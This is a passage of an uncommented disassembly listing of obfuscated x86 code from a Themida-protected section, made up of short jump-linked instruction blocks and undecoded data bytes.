		dd 1C8B56BEh, 4C48324h,	7D02C381h, 585956BEh, 0FFDE66E9h
		dd 0E3C380FFh, 5054C380h, 8012B551h, 0E5C09BEDh, 94E58002h
		dd 0E907E5C0h, 1BE7h, 4C481h, 0BA520000h, 170478B7h, 8EE9D731h
		dd 57000048h, 0E9535F54h, 0FFFFD19Eh
; ---------------------------------------------------------------------------


loc_550560:				; CODE XREF: Themida_:0054EC25j
		xchg	ebp, [esp]
		jmp	loc_54FB77
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 56E38953h, 0FFC848E9h, 241489FFh,	0EAC082B2h
		dd 0CFB15103h, 0E9D4B753h, 4538h, 1A12E952h, 0C1810000h
		dd 4, 0E9240C87h, 0FFFFA4FDh
; ---------------------------------------------------------------------------


loc_55059C:				; CODE XREF: Themida_:0054F530j
		mov	eax, 1
		and	ecx, eax
		pop	eax
		jmp	loc_5556AB
; ---------------------------------------------------------------------------
		db 0BEh, 46h, 0Ch
		dd 0F9B92BC1h, 0E94B839Dh, 4590h, 1C8BDE01h, 4C48124h
		dd 83000000h, 0FF5604C6h, 0E9042474h, 1928h, 425E2505h
		dd 24148B4Ah, 81E28952h, 4C2h, 4C28100h, 87000000h, 685C2414h
		dd 7D38h, 68241489h, 201B9Ch, 0E924148Bh, 4644h, 0B850E789h
		dd 551A618Fh, 0E902E0C1h, 0FFFFA1F3h, 2904C483h, 6BE95AD1h
		dd 83FFFF96h, 148904ECh, 746E924h, 77FF0000h, 91E7E940h
		dd 0D001FFFFh, 2C0835Ah, 762D68h, 24048900h, 42474FFh
		dd 24048F58h, 6624248Bh, 0E924048Bh, 2F0Ch, 875BD829h
		dd 895C2404h, 0B151241Ch, 6FB2528Bh, 0B753DAF6h, 0E9FA0870h
		dd 0FFFFB00Fh, 6624248Bh, 2404AB0Fh, 919BE99Ch,	8D05FFFFh
		dd 8909CA71h, 8AE958C7h, 59FFFFC4h, 0FFE34AE9h,	247430FFh
		dd 24743201h, 24743001h, 0F6596601h, 89E580DDh,	0F14BE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5506A6:				; CODE XREF: Themida_:005542E2j
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_54D51C
; ---------------------------------------------------------------------------


loc_5506C4:				; CODE XREF: Themida_:00550142j
		xor	edi, 657C2F29h
		shr	edi, 8
		add	edi, 0FFB7F9F3h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 1DA4608Ah
		add	ebp, 6A1634D4h
		xor	ebp, 87BA955Ah
		add	ebx, 654A4DE4h
		add	ebx, ebp
		sub	ebx, 654A4DE4h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	10Dh
		mov	[esp], eax
		mov	eax, 167A4CE0h
		neg	eax
		add	eax, 0FFFFFFFFh
		inc	eax
		xor	eax, 5D1B071Ch
		xor	eax, 23F5B73h
		xor	eax, 0B6A1EF4Bh
		sub	ebx, eax
		mov	eax, [esp]
		jmp	loc_54F459
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 30A804h, 7AE9FD31h, 50FFFFF2h, 0EAB210B4h, 0D1C280h
		dd 0D1EA80E2h, 0FFEDE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550769:				; CODE XREF: Themida_:00553753j
		push	edi
		jmp	loc_54D202
; ---------------------------------------------------------------------------


loc_55076F:				; CODE XREF: Themida_:00552262j
		pop	esp
		xor	eax, 389B613Eh
		add	eax, 1
		inc	eax
		sub	eax, 4F7654A2h
		mov	ebx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54D4C2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF3877h, 0E9575924h, 0FFFFFE58h, 4C481h, 0C3810000h
		dd 4, 0E3C1E953h, 8B66FFFFh, 0DBE92404h, 8900003Eh, 0D86858C7h
		dd 89000052h, 8B572404h, 8FE92404h, 87000039h, 0E95C242Ch
		dd 0FFFFA60Ah, 4C781h, 0EF830000h, 243C8704h, 48F545Ch
		dd 3B75E924h, 215D0000h, 34FF1C57h, 0E842E924h,	0ED80FFFFh
		dd 59EB0000h, 0C05BDD88h, 686605E5h, 50660000h,	440016B0h
		dd 58660224h, 80242C28h, 8A16242Ch, 3E9242Ch, 66FFFFE3h
		dd 0C468C181h, 81665166h, 16902404h, 66515B66h,	0E919BBB9h
		dd 0FFFFDDBEh, 0FF8FCCE9h, 0C1C281FFh, 123FB43h, 0C1EA81C2h
		dd 8123FB43h, 0A819CEC2h, 8142586Dh, 0F596EAC2h, 5AD30165h
		dd 0FFCE69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55086D:				; CODE XREF: Themida_:0054BC17j
		add	eax, 3D0235B9h
		push	4DE6h
		mov	[esp], ecx
		jmp	loc_54E668
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E904C183h, 0FFFFCD1Bh, 8244C29h, 8244481h, 43EC64CEh
		dd 81240C8Bh, 4C4h, 24448100h, 0DC696104h, 24540162h, 0AFDBE904h
		dd 1431FFFFh, 24143324h, 8924248Bh, 8B54243Ch, 0ABE9243Ch
		dd 5700000Ah, 5936BF66h, 0F7664766h, 0D7F766DFh, 31C78166h
		dd 0FA0166E6h, 240C8B5Fh, 0FFE6D0E9h, 0C4815DFFh, 4, 4777E981h
		dd 0FAE9233Ch, 8B000005h, 0F5E9243Ch
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5508FB:				; CODE XREF: Themida_:00553A0Ej
		neg	edx
		xor	edx, 0C5E58F1Bh
		jmp	loc_554020
; ---------------------------------------------------------------------------


loc_550908:				; CODE XREF: Themida_:005516BEj
		sub	edx, 4
		jmp	loc_553CF5
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924248Bh, 0FFFF8EF9h, 0FF8EF4E9h, 0E9EED1FFh, 0FFFFAC7Fh
		dd 24048B66h, 0E9E38953h, 0FFFFECDCh
; ---------------------------------------------------------------------------


loc_550934:				; CODE XREF: Themida_:0054CAE1j
		push	esi
		push	ebx
		mov	ebx, 33DD3FE9h
		not	ebx
		or	ebx, 402D367Eh
		not	ebx
		add	ebx, 527256Bh
		neg	ebx
		sub	ebx, 54189BBDh
		mov	esi, ebx
		pop	ebx
		or	ebp, esi
		jmp	loc_54995E
; ---------------------------------------------------------------------------
		db 0B1h, 0CFh, 0FEh
		dd 0E9D9F6C9h, 2CA4h, 0F13EB80h, 8B66C0B6h, 6A682414h
		dd 89000011h, 4DE9240Ch, 1FFFFB9h, 4314E9FBh, 34FF0000h
		dd 0C4835A24h, 4EC8104h, 89000000h, 2CBB241Ch, 81000000h
		dd 0F00EF5EBh, 28B95100h, 0E91F2463h, 0FFFFEA95h, 4244C01h
		dd 4244481h, 50D4957h, 51240C8Bh, 0C181E189h, 4, 4C181h
		dd 0C870000h, 0E401E924h, 0FF51FFFFh, 0E9042474h, 0FFFFC7FAh
		dd 48F545Ch, 24048324h,	0C7815F04h, 4, 0FB3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5509F1:				; CODE XREF: Themida_:0054D693j
		push	edx
		push	eax
		pop	edx
		pop	eax
		shl	edx, 3
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 0FFFFFFFFh
		jmp	loc_5544B3
; ---------------------------------------------------------------------------
		db 1, 0D6h, 0E9h
		dd 24A1h, 405h,	33FDE900h, 0B60F0000h, 87048FC0h, 0FF8DF4E9h
		dd 48B66FFh, 0E9545024h, 0FFFFC321h, 864E956h, 74FF0000h
		dd 0E95B0424h, 0FFFFDB4Ah
; ---------------------------------------------------------------------------


loc_550A3C:				; CODE XREF: Themida_:00552CC5j
		sub	eax, 870250EBh
		mov	ebx, eax
		pop	eax
		jmp	loc_54A39C
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C6h
		dd 47E7560Bh, 0BF57CE01h, 47E7560Bh, 0FFF3E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550A5D:				; CODE XREF: Themida_:0054FB72j
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	3AEAh
		mov	[esp], ebp
		jmp	loc_54D369
; ---------------------------------------------------------------------------


loc_550A6F:				; CODE XREF: Themida_:0054E28Cj
		movzx	ax, byte ptr [eax]
		push	small 6073h
		mov	[esp], ax
		jmp	loc_549815
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 525FE5CDh, 315DEF29h, 0EC835FF8h, 0A3F4E904h
		dd 0C381FFFFh, 4, 2B951h, 0C3810000h, 4FC8545Dh, 0EB81CB01h
		dd 4FC8545Dh, 8B2434FFh, 0C481240Ch, 4,	4C481h,	0E9530000h
		dd 0F07h, 24048B66h, 57E38953h,	4EC81h,	14890000h, 1A1EBA24h
		dd 5BE910A4h, 59FFFFBEh, 7C70EB81h, 0EB8106F4h,	5440144Ch
		dd 7304EB81h, 0EB812CB6h, 30A0769Dh, 665E9h
		db 0
; ---------------------------------------------------------------------------


loc_550B01:				; CODE XREF: Themida_:0055404Fj
		dec	ecx
		jmp	loc_54EBB0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 6D110500h, 0F72D1912h,	2928703Fh, 3FF705D8h, 112D2870h
		dd 5319126Dh, 0DE5D2ABBh, 87B9511Ch, 8140DE7Ah,	0B75CE5E9h
		dd 0EA78E9FBh, 4468FFFFh, 89000013h, 17BA2414h,	0E907E074h
		dd 39B4h
; ---------------------------------------------------------------------------


loc_550B4C:				; CODE XREF: Themida_:0054DDEBj
		pop	edi
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54ECDF
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFC058E9h, 68FFh, 2C800000h, 3428D424h, 24048024h
		dd 0A6D9E9D4h, 8F64FFFFh, 3BDCE902h, 0CB680000h, 8900002Ch
		dd 6FBD242Ch, 8174D047h, 663E28EDh, 0CEC5815Fh,	31171D82h
		dd 27F0E9E8h, 4BA0000h,	81000000h, 1868D7C5h, 1193E917h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550BAE:				; CODE XREF: Themida_:0055521Fj
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_553A31
; ---------------------------------------------------------------------------
		db 89h
		dd 44E9240Ch, 0F7000041h, 0F2B8E9D9h, 8B66FFFFh, 89522404h
		dd 4EC83E2h, 0BE243489h, 4, 58EBC281h, 0F2013FA0h, 58EBEA81h
		dd 685E3FA0h, 7B4Fh, 0BB241C89h, 2, 28FDE956h, 0C7010000h
		dd 74FF5758h, 3C8B0424h, 4C48324h, 5C24048Fh, 0C8AF0F66h
		dd 0E99C5166h, 0FFFF8BF9h, 5C240487h, 27E9D831h, 0FFFFFF9Fh
		dd 48B2434h, 448FE924h,	0E7860000h, 0D5F6EC86h,	8852EC86h
		dd 0E9FC88E6h, 0FFFF8C61h, 8B243C87h, 4012424h,	0C2E99C24h
		dd 89FFFF8Bh, 0BF575FFDh, 3FE44B28h, 0E95FFA01h, 0FFFFC166h
		dd 68240C8Bh, 5CC0h, 3381E9h, 48E95200h, 0BD000027h, 25DB2958h
		dd 1F826851h, 565969E0h, 8F65BBBEh, 1BE9465Ch
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C8F:				; CODE XREF: Themida_:00551A81j
		push	13E5h
		mov	[esp], edi
		push	3BF95A90h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		inc	edi
		push	ecx
		mov	ecx, 2DC82B31h
		sub	ecx, 7BB925B7h
		sub	ecx, 62568B9h
		xor	ecx, 3F4D0054h
		neg	ecx
		dec	ecx
		jmp	loc_54BF77
; ---------------------------------------------------------------------------
		db 31h
		dd 1EB83D9h, 13E9D987h,	81FFFFCAh, 4C2h, 4BB5300h, 1000000h
		dd 14335BDAh, 24143124h, 5C241433h, 8B2434FFh, 89522404h
		dd 4C281E2h, 0E9000000h, 4AC1h,	5EEB80h, 5EC380D3h, 80B8B652h
		dd 0DEF6FBEEh, 0DAE9C6FEh, 81000020h, 4C3h, 0E413E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550D22:				; CODE XREF: Themida_:005548E1j
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_554550
; ---------------------------------------------------------------------------


loc_550D2B:				; CODE XREF: Themida_:0054C40Fj
		pop	ebp
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F51E
; ---------------------------------------------------------------------------
		db 89h
		dd 0FFD1E9E3h, 0F529FFFFh, 5E2434FFh, 0FFA866E9h, 0FFD031FFh
		dd 34FF2434h, 0C4815A24h, 4, 3104C483h,	0E930FFC3h, 0FFFF8AA9h
		dd 1854D7BAh, 3089E971h, 0B0680000h, 8300001Eh,	248904ECh
		dd 24048324h, 24048F04h, 411B68h, 240C8900h, 0FFA7C2E9h
		dd 8A7BE9FFh, 3489FFFFh, 41D2BE24h, 0F02945B6h,	1CC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_550DA9:				; CODE XREF: Themida_:005555B4j
		mul	cl
		movzx	cx, ah
		push	3423h
		jmp	loc_54DAD9
; ---------------------------------------------------------------------------


loc_550DB9:				; CODE XREF: Themida_:0054E99Dj
		mov	esi, 7E0A3324h
		mov	ecx, 580451DCh
		xor	ecx, esi
		pop	esi
		add	ecx, 1
		jmp	loc_5548C7
; ---------------------------------------------------------------------------
		db 68h,	2, 0
		dd 0BAE90000h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550DDB:				; CODE XREF: Themida_:0054E5B5j
		pop	esp
		mov	[esp], ecx
		push	40B63718h
		pop	ecx
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 58ED121Eh
		jmp	loc_54D68E
; ---------------------------------------------------------------------------


loc_550E00:				; CODE XREF: Themida_:005520BBj
		mov	edx, 6BC05C43h
		jmp	loc_549901
; ---------------------------------------------------------------------------
		dw 0AC05h
		dd 14F606Eh, 0ACBE56E8h, 294F606Eh, 3ADBE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550E1E:				; CODE XREF: Themida_:00551F9Bj
		mov	esi, 6F7E0550h
		add	esi, 79FC7D21h
		xor	esi, 0A9CCB569h
		push	esi
		pop	ebp
		pop	esi
		xor	[esp+4], ebp
		pop	ebp
		pop	eax
		push	1940h
		jmp	loc_552F66
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 22294855h, 0FFEE49E9h, 1C77FFFFh, 1858669Dh,	0E99C2404h
		dd 0FFFF89B9h
; ---------------------------------------------------------------------------


loc_550E5C:				; CODE XREF: Themida_:0054CE91j
		mov	edx, 6DAC533Ch
		jmp	loc_553A0C
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4, 8B241C87h, 4892424h, 899BE924h, 8B66FFFFh, 0EC83240Ch
		dd 24348904h, 81E78957h, 4C7h, 4BA5200h, 29000000h, 2EB2E9D7h
		dd 89550000h, 0FFEA89C5h, 0E95D2434h, 0FFFFEEAAh, 4BB53h
		dd 0D9010000h, 4E9815Bh, 87000000h, 895C240Ch, 0E389241Ch
		dd 4BD55h, 0EB010000h, 41FFE9h,	24248B00h, 671E9h, 69636800h
		dd 0E95866A1h, 196Ch, 68E18951h, 351Dh,	0FF9E21E9h, 50E901FFh
		dd 0FF9CF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550EF5:				; CODE XREF: Themida_:0054D66Fj
		sub	ebp, esi
		pop	esi
		mov	ecx, 104F72F6h
		xor	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 31E82605h
		add	ecx, 567E5036h
		sub	ecx, ebp
		sub	ecx, 567E5036h
		pop	ebp
		jmp	loc_54D814
; ---------------------------------------------------------------------------


loc_550F1A:				; CODE XREF: Themida_:0054BB14j
		xor	eax, ecx
		jmp	loc_552946
; ---------------------------------------------------------------------------
aAos		db '¸O™',0
		dw 0B80Dh
		dd 0F7563569h, 5B5735D0h, 19054ADBh, 29E30A0Dh,	0DA3158C3h
		dd 5AD0315Bh, 8F66C331h, 88CBE900h, 0ADBFFFFFh,	8151F431h
		dd 0F10075E7h, 38C78139h, 4F215B19h, 0CF81D7F7h, 655C752Dh
		dd 6BF8EF81h, 0EF8162DEh, 86938672h, 0E9FFEF83h, 0FFFFB17Ah
		dd 42474FFh, 0FF97A3E9h, 0BF57ADFFh, 33900C05h,	0F757D7F7h
		dd 575F2414h, 3D18E9h, 2C48300h, 2A3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_550F9D:				; CODE XREF: Themida_:0055451Bj
		sub	ecx, 2F8A4885h
		add	ecx, ebp
		add	ecx, 2F8A4885h
		sub	ecx, 6DF84720h
		jmp	loc_54B287
; ---------------------------------------------------------------------------


loc_550FB6:				; CODE XREF: Themida_:005536DEj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54FEAC
; ---------------------------------------------------------------------------


loc_550FC1:				; CODE XREF: Themida_:005520F8j
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 22C267BDh
		add	esi, 4C03834h
		sub	esi, 10386DB2h
		xor	esi, 630B665Eh
		xor	esi, 3FA263DFh
		sub	esi, 0FA1F503h
		mov	ebx, esi
		jmp	loc_54F22E
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 19589D1Ch, 0E99C2404h, 0FFFF8815h, 0D488D2F6h, 58E6885Ah
		dd 12E668h, 0E02AE900h,	8B66FFFFh, 0E956240Ch, 116Bh
; ---------------------------------------------------------------------------


loc_55101C:				; CODE XREF: Themida_:0054D77Aj
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_54D0D4
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 1Dh
		dd 81018A52h, 0E476CCE3h, 3FF38121h, 315A807Fh,	0C2015BD8h
		dd 25CBE9h, 0B652AC00h,	0F6DEF6FDh, 0E2B353DEh,	0B252D3F6h
		dd 5AD32012h, 0FF9E89E9h, 52C381FFh, 10E9BC9h, 0E9515BD8h
		dd 41CBh, 4BB7C981h, 0E9C106BAh, 0E9D9F703h, 37CEh
; ---------------------------------------------------------------------------


loc_551080:				; CODE XREF: Themida_:00551598j
		push	ebp
		jmp	loc_552F48
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 3A3557DAh, 0FFD858E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551091:				; CODE XREF: Themida_:00551BFFj
		pop	esp
		add	eax, 2
		xor	eax, [esp]
		jmp	loc_54A084
; ---------------------------------------------------------------------------


loc_55109F:				; CODE XREF: Themida_:0055432Dj
		mov	ebx, esp
		jmp	loc_552D8F
; ---------------------------------------------------------------------------
		dw 5651h
		dd 7537BE66h, 0FFD002E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5510B1:				; CODE XREF: Themida_:00553AE3j
		sub	edi, edx
		pop	edx
		mov	edx, edi
		pop	edi
		add	edx, edi
		push	eax
		mov	eax, 0
		jmp	loc_54D7C3
; ---------------------------------------------------------------------------
		dd 13AE958h, 0EA830000h, 24148704h, 0A325E95Ch,	0E9ADFFFFh
		dd 5E7h, 0C181D101h, 79DF059Eh,	240C335Ah, 0FFB699E9h
		dd 48F58FFh, 24248B24h,	0FFBEDFE9h, 4F120DFFh, 0D62D1312h
		dd 517561Dh, 3208C10Bh,	8158C329h, 0A812D6C3h, 81F3015Eh
		dd 0A812D6EBh, 0EFC3815Eh, 5E71D212h, 4EC81h, 4890000h
		dd 0E7BE5624h, 0E94EF100h, 0FFFF93ADh, 0D9E9E230h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55113B:				; CODE XREF: Themida_:00553CCEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_554F5F
; ---------------------------------------------------------------------------
		db 0B5h
		dd 3D13E9C1h, 0BA520000h, 2, 335AD601h,	34312434h, 280AE924h
		dd 0FB010000h, 0FFACAFE9h, 86A3E9FFh, 0E4B3FFFFh, 66DCE380h
		dd 80F3B652h, 0EB808AC3h, 0E9F328D9h, 0FFFFE5FBh, 3EA36853h
		dd 0E2E91554h, 0BFFFFFEAh, 631738F3h, 295FFA89h, 0CE10E9C2h
		dd 0BD55FFFFh, 7B845454h, 1885C581h, 37E9CBE8h,	29000004h
		dd 5FE95FF9h, 5E000031h, 4244401h, 405FE9h, 2414F700h
		dd 241C875Bh, 2434315Eh, 0FFCE75E9h, 0D7C6BDFFh, 4FE9A6D8h
		dd 86FFFFADh, 26EA80EAh, 34FFD028h, 54525A24h, 4C2815Ah
		dd 55000000h, 4B951h, 89560000h, 0E9F589CEh, 116Eh, 4BA52h
		dd 0D6290000h, 0FFD2B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551211:				; CODE XREF: Themida_:0054E6E7j
		mov	[esp], esi
		push	3B61h
		mov	[esp], eax
		push	ebx
		mov	ebx, 25F701FBh
		mov	eax, ebx
		pop	ebx
		push	25F701FAh
		jmp	loc_552A98
; ---------------------------------------------------------------------------


loc_55122F:				; CODE XREF: Themida_:0054FFECj
		pop	ebp
		sub	eax, 529169Fh
		sub	eax, ebx
		add	eax, 529169Fh
		pop	ebx
		push	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54E99A
; ---------------------------------------------------------------------------
		db 81h
		dd 0C90870EBh, 0E9F30157h, 0FFFFDCBFh
; ---------------------------------------------------------------------------


loc_551260:				; CODE XREF: Themida_:00549E93j
		sub	edx, 0AFD8B1D2h
		mov	edi, edx
		pop	edx
		jmp	loc_54C511
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4EC8324h, 0E9240489h, 0FFFFDC44h, 0C7BE181h,	0E18147BBh
		dd 16B83F1Eh, 5793F181h, 0CB294B34h, 0C402E959h, 0E955FFFFh
		dd 0FFFF9ED8h
; ---------------------------------------------------------------------------


loc_55129C:				; CODE XREF: Themida_:0054EAA5j
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54ACA4
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7C582DB6h, 15AD331h,	0CF3FE9D9h, 0C781FFFFh,	39D5360Fh
		dd 2C78359h, 1AACE9h
		db 0
; ---------------------------------------------------------------------------


loc_5512C9:				; CODE XREF: Themida_:00549E4Bj
		add	esp, 4
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_54A264
; ---------------------------------------------------------------------------
		db 58h,	57h, 89h
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 2404895Ch, 0E3286DB4h
		dd 0A0F9E958h, 0C381FFFFh, 4, 5C241C87h, 770468h, 243C8900h
		dd 12B668h, 24248900h, 4240483h, 936AE95Fh, 2C8BFFFFh
		dd 0F21EE924h, 0F930FFFFh, 0DAC1805Bh, 895E9h, 0BD555A00h
		dd 4, 0E95DEB29h, 3284h, 26CDE95Ch, 2DAD0000h, 588E3DD5h
		dd 100BA305h, 2DD82966h, 66100BA3h, 0D60B951h, 50574D6Dh
		dd 0F0F1E951h, 0EBC1FFFFh, 0B6A1E902h, 8957FFFFh, 4C781E7h
		dd 0E9000000h, 0FFFFBDCAh, 0E957D3F7h, 0FFFFE060h, 26B768h
		dd 24148900h, 0FF8F84E9h, 5FF801FFh, 0FFF1CFE9h, 240C87FFh
		dd 68555A5Ch, 54EEh, 0B8240489h, 2D631E79h, 2A5858BDh
		dd 0F0ED8130h, 1482B54h, 4495E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5513BE:				; CODE XREF: Themida_:00553AB5j
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_54C9F6
; ---------------------------------------------------------------------------


loc_5513D4:				; CODE XREF: Themida_:0054F590j
		push	ebp
		push	5665319Ah
		jmp	loc_54DFED
; ---------------------------------------------------------------------------
		db 0B8h
		dd 1142755h, 5248D0F7h,	8B3205BAh, 81EA8142h, 0E9E6EEE6h
		dd 0FFFF91FBh, 66E968h,	0C231E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551402:				; CODE XREF: Themida_:005542B2j
		shl	bh, 4
		shl	bh, 2
		jmp	loc_553DCA
; ---------------------------------------------------------------------------


loc_55140D:				; CODE XREF: Themida_:0054F77Ej
		mov	ecx, [esp]
		jmp	loc_551945
; ---------------------------------------------------------------------------


loc_551415:				; CODE XREF: Themida_:0054E83Bj
		add	ecx, 2D741BF5h
		neg	ecx
		sub	ecx, 4F0976F0h
		xor	ecx, 58F5D5E5h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 1B83D4A1h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	7B99h
		jmp	loc_554018
; ---------------------------------------------------------------------------
		dd 0BE56E389h, 4, 575EF301h, 0FFBAC1E9h, 5E5C1FFh, 0D7E4F581h
		dd 0EE29CBCAh, 5D2434FFh, 81E18951h, 4C1h, 4C18100h, 87000000h
		dd 98E9240Ch
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55147B:				; CODE XREF: Themida_:00554144j
		push	ecx
		not	dword ptr [esp]
		jmp	loc_54CD91
; ---------------------------------------------------------------------------
		dd 8DC6C581h, 895689A0h, 0FFF089EEh, 835E2434h,	0E95D04C4h
		dd 0FFFFE696h, 81241C87h, 4ECh,	241C8900h, 0FFFD18E9h
		dd 0E38143FFh, 53117E72h, 2F4FEB81h, 0DA310F4Ah, 0D789575Bh
		dd 8B5FFD89h, 0C4812414h, 4, 0FFA9DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5514D1:				; CODE XREF: Themida_:0054A5D1j
		add	esi, 6C1E18BCh
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_54BBB8
; ---------------------------------------------------------------------------
		db 5
		dd 4, 4EC81h, 14890000h, 4BB5324h, 89000000h, 0D0015BDAh
		dd 5324148Bh, 0FF96C5E9h, 24248BFFh, 0FFBF1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551515:				; CODE XREF: Themida_:00553146j
		pop	esi
		add	ecx, edi
		pop	edi
		add	ecx, 76FF433Bh
		shr	ecx, 8
		push	esi
		mov	esi, 0
		sub	esi, ecx
		xchg	esi, ecx
		pop	esi
		push	edi
		mov	edi, 0E6F4C4h
		add	ecx, 3C087659h
		add	ecx, edi
		sub	ecx, 3C087659h
		jmp	loc_54B988
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 7DE9240Ch, 81000029h, 6F6B03EBh, 5BDA8925h, 59EE981h
		dd 79E979DFh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551563:				; CODE XREF: Themida_:005524EFj
		push	1179h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_54ACB5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 570F6ABFh, 5FFB0147h, 235DE9h, 48B6600h
		dd 9488E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551592:				; CODE XREF: Themida_:0055506Fj
		add	esp, 4
		jmp	loc_551080
; ---------------------------------------------------------------------------


loc_55159D:				; CODE XREF: Themida_:00551F2Cj
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		xchg	eax, edx
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		xchg	ebp, esi
		not	ebp
		push	esi
		push	ebp
		jmp	loc_553CC1
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 4
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5515BB:				; CODE XREF: Themida_:0054CD21j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55490C
; ---------------------------------------------------------------------------
		dw 0A468h
		dd 8900007Ch, 8CE9240Ch, 28000037h, 0E8005BD8h,	0FE59B252h
		dd 0AC25E9C2h, 0E801FFFFh, 24148B5Dh, 2904C483h, 4F2905D8h
		dd 0E62D11FAh, 530D0516h, 0E904EC83h, 0FFFFE2E0h, 0A656BB53h
		dd 5EE9D969h, 0FF000005h, 5F042474h, 8B24048Fh,	3B662424h
		dd 0EEE99CC8h, 5BFFFF81h, 295EF731h, 2434FFFAh,	0A33BE95Fh
		dd 0C181FFFFh, 19D07C85h, 0F390E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551642:				; CODE XREF: Themida_:0054BEFFj
		add	ecx, edi
		push	3E9Bh
		mov	[esp], ebx
		mov	ebx, 6384508Fh
		jmp	loc_54F0D6
; ---------------------------------------------------------------------------
		dw 525Eh
		dd 2BAh, 0FCBF5700h, 81513F15h,	0A63DA7E7h, 257FE957h
		dd 1C890000h, 3043B324h, 0B1515BDEh, 80D1F6D7h,	0D1E908E1h
		dd 56000029h, 0F986857h, 575F0E22h, 5F241CF7h, 75B6BD55h
		dd 0ED816F65h, 48ED50FEh, 0E905E5C1h, 2264h, 4C3815Bh
		dd 83000000h, 7BE904C3h, 64FFFFBEh, 5AE932FFh
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


